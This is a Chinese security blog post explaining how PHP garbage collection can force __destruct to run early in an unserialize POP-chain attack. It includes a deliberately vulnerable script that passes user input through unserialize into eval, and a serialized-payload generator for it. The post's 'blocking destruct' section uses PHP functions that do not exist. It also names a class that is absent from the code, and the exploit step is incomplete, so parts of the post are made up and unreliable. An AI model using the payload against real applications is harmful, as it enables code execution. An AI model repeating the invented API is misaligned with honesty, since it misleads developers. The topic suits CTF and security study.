GC时间窃取攻击
2023-3-21 11:13:0 Author: xz.aliyun.com(查看原文) 阅读量:28 收藏

PHP Garbage Collection简称GC,中文翻译PHP垃圾回收,是PHP在5.3版本之后推出的专门针对垃圾回收的机制,在5.3版本之前,因为信息的重复使用导致的内存冗余一直很恶心,所以PHP推出了GC机制以对内存问题进行优化
具体原理请师傅们移步官方文档,在这里就不对赘述了
https://www.php.net/manual/zh/features.gc.collecting-cycles.php

代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class YHQK{
public $Ihavegirlfriend;
public function __construct($Ihavegirlfriend)
{
    $this->Ihavegirlfriend =$Ihavegirlfriend;
    echo $this->Ihavegirlfriend."areyouxianmume"."</br>";
  }
public function __destruct(){
        echo $this->Ihavegirlfriend."nonono"."</br>";
 }
}
new YHQK(1);
$a = new YHQK(2);
$b = new YHQK(3);
?>

结果如下


可以看出来,进程一的开始和结束都在进程2和进程三之前
原因看最后的三行代码

new YHQK(1);
$a = new YHQK(2);
$b = new YHQK(3);

原理解释

进程2和进程三都有明确的指向变量,准确来说,是对象2和对象3都具有明确的变量指向
但是对象一并没有,对象一只是简单的被实例化,没有指向的变量
所以会被GC回收机制删除掉,导致提前触发destruct魔术方法

这里体现的是GC非常强的强制性,以至于他能控制php的魔术方法。
而众所周知,destruct这个魔术方法是几乎必然要被触发的
所以既然他可以强制这样一个魔法函数提前触发,是不是也可以强制他不被触发

阻断destruct

class YHQK {
    public function __construct() {
        echo "Object created\n";
    }
    public function __destruct() {
        echo "Object destroyed\n";
    }
}
function gc_callback($obj) {
    if ($obj instanceof YHQK) {
        echo "GC callback: YHQK instance found, blocking __destruct\n";
        gc_cancel_finalization($obj);
    }
}
gc_enable();
gc_set_finalizer_callback('gc_callback');
$obj1 = new YHQK();
$obj2 = new YHQK();
$obj2 = null;
unset($obj1);

这里使用了gc_set_finalizer_callback函数来注册一个回调函数,当垃圾回收器发现一个待回收的对象时,就会调用这个回调函数。在回调函数中,如果检测到待回收的对象是MyClass类的实例,就会使用gc_cancel_finalization函数取消其析构函数的执行,从而达到阻止__destruct方法执行的效果。

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class ssz1{
public $bzh;
public function __destruct(){
        echo "hello __destruct";
        echo $this->bzh;
    }
}
class ssz2{
    public $bzh;
    public function __toString()
    {
        echo "hello __toString";
        $this->bzh->flag();
    }
}

class ssz3{
    public $bzh;
    public function getyourgirlfriend()
    {
        echo "hello wowowo()";
        eval($this->bzh);
    }
}
$a=unserialize($_GET['cmd']);
throw new Exception("nonono");
?>

分析

throw new Exception("nonono");

这行代码的作用会阻断destruct的执行
而我们需要运行的pop链是
ssz1::destruct() --> ssz2::toString() --> ssz3::getyourgirlfriend()
这就导致我们从一开始就断了
但是,通过GC机制的不讲道理,我们可以直接引发destruct的执行

<?php

error_reporting(0);
class ssz1{
    public $bzh;
    public function __construct()
    {
        $this->bzh = new ssz2();
    }

}
class ssz2{
    public $bzh;
    public function __construct()
    {
        $this->bzh = new ssz3();
    }
}

class ssz3{
    public $bzh = "phpinfo();";
}

$a = new ssz1();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

在这里,我们直接把ssz1直接架空,造成了GC机智的运行,最终完成了我们的pop链


文章来源: https://xz.aliyun.com/t/12324
如有侵权请联系:admin#unsafe.sh